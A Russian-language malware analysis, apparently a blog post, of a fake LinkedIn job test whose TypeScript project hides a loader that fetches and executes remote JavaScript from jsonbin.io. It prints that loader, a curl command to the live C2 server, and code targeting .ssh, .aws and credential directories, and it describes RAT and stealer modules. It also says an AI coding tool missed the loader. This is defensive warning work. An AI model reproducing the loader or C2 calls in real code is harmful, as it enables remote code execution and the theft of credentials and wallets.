
© Benjamin Le Roux
Ситуация на IT-рынке труда сейчас непростая, поэтому когда рекрутер в LinkedIn пишет с подходящей вакансией, опирающейся на прошлый опыт кандидата, соблазн ответить велик. Но не всё то, что кажется на первый взгляд удачным предложением, им является.
«Релевантная вакансия» с частичной удалённой занятостью и хорошей почасовой оплатой — именно то, что затягивает многих действующих software-инженеров в переписку, когда приходит новое предложение о работе на LinkedIn. Так случилось и со знакомым автора этого материала: предложение хорошо соответствовало прошлому опыту, а процесс собеседования ускорили, быстро прислав тестовое задание уже после пары сообщений в переписке.
Информация
Первый контакт был установлен от имени компании, которая ничего об этом не знала — это чистый фишинг с целью выкрасть учётные данные и секреты. Компания в курсе ситуации и уже опубликовала пост на LinkedIn, разъясняющий происходящее.
Прежде чем приступать к тесту, стоило насторожиться на нескольких моментах:
- Человек, писавший в LinkedIn, не значился сотрудником компании
- Не было предварительного звонка-знакомства перед получением тестового задания
- Тест мог быть на языке программирования, отличном от того, в котором кандидат специализируется
- Код был выложен на Bitbucket, что по мнению автора статьи необычно
- Адрес отправителя —
@gmail.com, а не официальный корпоративный
Задним числом всё очевидно, так что осуждать здесь некого.
Как всё начинается
Задача заключалась в решении различных проблем и расширении логики в предоставленной кодовой базе на TypeScript. Проект содержал:
- около 180 файлов
- смесь мёртвого и рабочего кода
- отсутствие обфускации или минификации
…но с некоторыми вызовами к внешним endpoint'ам https://api.jsonbin.io. Если 180 файлов кода никто не прочитал полностью — ловушка сработала.
Вот подозрительный фрагмент кода, который запускает загрузку дальнейших пакетов для «исследования» системы жертвы.
Предупреждение
Этот endpoint отдаёт ещё больше «мусора». Будьте осторожны! Полный исходный код доступен в этом репозитории на Bitbucket.
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
Внутренняя логика приложения всегда первым делом выполняет эту функцию при запуске npm run dev, npm start и т.д. Поскольку функции передаётся require, она может:
require('child_process')— для выполнения shell-командrequire('fs')— для чтения/обхода файловой системы, записи данныхrequire('net')/require('https')— для открытия собственного канала эксфильтрации- напрямую читать
process.env, что в этом приложении означает доступ к MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY
Множество вещей, которых категорически не хочется допускать на своей системе.
Разбор подробнее: загрузчик второй стадии
Ответ от endpoint'а jsonbin.io фактически представляет собой загрузчик для удалённого выполнения кода. Полезная нагрузка в поле record.model — 24 686 символов JavaScript, обфусцированного через obfuscator.io и обёрнутого вокруг небольшого webpack-бандла.
После деобфускации полученной нагрузки обнаруживается ещё один пласт обфусцированного JavaScript. Этот код забирает данные с C2-сервера (Command & Control) по адресу http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.
Следующий фрагмент кода удалось получить так:
curl -sS -v --max-time 30 \
-H 'Authentication: jwt' \
-H 'Accept: application/json, text/plain, */*' \
-A 'axios/1.5.3' \
-D headers.txt \
-o body.bin \
'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
Для запроса требуется заголовок Authentication со значением jwt. Этот endpoint возвращает ещё больше обфусцированного JavaScript-кода, а именно следующие четыре модуля:
scdata: интерактивный RAT (Remote Access Trojan).
Использует node-pty для полноценного shell, ssh2 — для латерального перемещения и кражи PEM-ключей, screenshot-desktop вместе с sharp — для захвата экрана, clipboardy, а также @nut-tree-fork/nut-js — для эмуляции клавиатуры и мыши. Также определяет, работает ли на виртуальной машине или на «железе».
ldata: похититель браузерных credential'ов и криптокошельков.
Затрагивает Chrome/Edge/Brave/LT на всех трёх ОС, во всех профилях: Login Data, Web Data, хранилища LevelDB для Local Extension Settings, а также login.keychain на macOS. Способен нацеливаться на 28 расширений-кошельков — MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby и ещё 18. Работает в бесконечном цикле, повторно выгружая данные примерно каждую минуту.
Сборщик файлов: обходит домашнюю директорию.
Пытается найти файлы по признакам private key, secret phrase, *metamask*, bitcoin, solana, .env, *.pem, *.p12, *.pfx, а также документы и изображения, целиком директории .ssh, .aws, .gnupg и .docker. На Windows дополнительно перечисляет все буквы дисков.
Монитор буфера обмена: отслеживает содержимое буфера обмена.
Периодически опрашивает буфер обмена и отправляет данные наружу, маскируясь под лог-файл с именем npm-compiler.log.
Когда заражённая машина подключается к 147.189.174.138:7321, сервер видит исходный адрес принятого соединения — точно так же, как любой веб-сервер видит IP посетителя. Никакого сканирования, обнаружения или регистрации адреса не требуется. Именно поэтому исходящая архитектура так удобна для атакующего: она работает за NAT, CGNAT, корпоративным прокси или домашним роутером без какой-либо настройки, и не имеет значения, меняется ли IP жертвы.
Дверь в ад открылась в тот момент, когда хотелось всего лишь получить работу.
Почему малварь получает доступ ко всем файлам?
Вредонос получает домашнюю директорию текущего пользователя и на её основе строит пути для обхода.
rootDir = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
path.join(os.homedir(), ".ssh"),
path.join(os.homedir(), ".azure"),
path.join(os.homedir(), ".foundry"),
path.join(os.homedir(), ".config"),
//...
]
Повышение привилегий никогда не запрашивается. root, UAC или sudo не нужны, потому что ничего из того, что интересует малварь, не принадлежит root'у. SSH-ключи, AWS-credentials, профили браузеров, данные кошельков, .env-файлы — всё это по умолчанию принадлежит обычному пользователю, поскольку доступ к этим файлам нужен регулярно. Процесс, запущенный от имени пользователя, наследует эти права. Node.js не делает здесь ничего экзотического — команда cat ~/.ssh/id_rsa из shell сработала бы точно так же.
На Windows вредонос идёт дальше домашней директории, перечисляя буквы дисков через PowerShell и вызывая scanDir для каждого корня — то есть подключённые сетевые диски и вторичные накопители тоже попадают в зону охвата.
Меры предосторожности на будущее
Несколько шагов могли бы помочь, хотя стопроцентной защиты не существует. Трудно ожидать подобного от куска кода, полученного «ради вакансии».
- AI: слабая защита.
Можно попросить ИИ проверить проект на аномалии — обфускацию, минификацию, вызовы внешних endpoint'ов, необычные паттерны кода и так далее. Это лишь частичное решение: ИИ укажет на вызов к jsonbin.io, но не сможет увидеть, что именно возвращается в ответе. - Docker: частично слабая защита.
Запуск кода внутри Docker изолирует хост-систему и не раскрывает хранимые секреты — при условии, что данные с хоста не монтируются в контейнер. - Vagrant: вероятно, лучший выбор.
Запуск кода в полностью изолированной системе может быть оптимальным решением. Стоит сделать снапшот виртуальной машины до запуска и восстановить его после. Если в системе нет UI/desktop-окружения, модуль для утечки данных браузера или скриншотов сам по себе оказывается ограничен в возможностях. Однако RAT и сборщик файлов продолжают работать.
Стоит отметить, что RAT активно определяет использование виртуальной машины. Он запускает system_profiler, читает /proc/cpuinfo и ищет упоминания vmware, qemu, microsoft corporation, после чего помечает бэкон-сигнал как (VM) или (Local). Этот флаг, скорее всего, используется оператором при разборе полученных данных: виртуальная машина с большей вероятностью является песочницей и с меньшей — содержит реальные кошельки, поэтому такие случаи могут обрабатываться с меньшим приоритетом или более осторожно.
Примечание об ИИ: Claude Code не смог обнаружить ничего подозрительного при простом запросе просканировать кодовую базу на необычные паттерны.
Что делать теперь
Если ущерб уже нанесён, стоит предпринять следующее:
- отозвать и заменить SSH-ключи
- сменить пароли
- проверить, не хранились ли где-то секреты или данные в открытом виде, требующие замены
…и переустановить операционную систему — лучше перестраховаться.
Тем временем профиль «рыбака» (фальшивого рекрутера) уже удалён.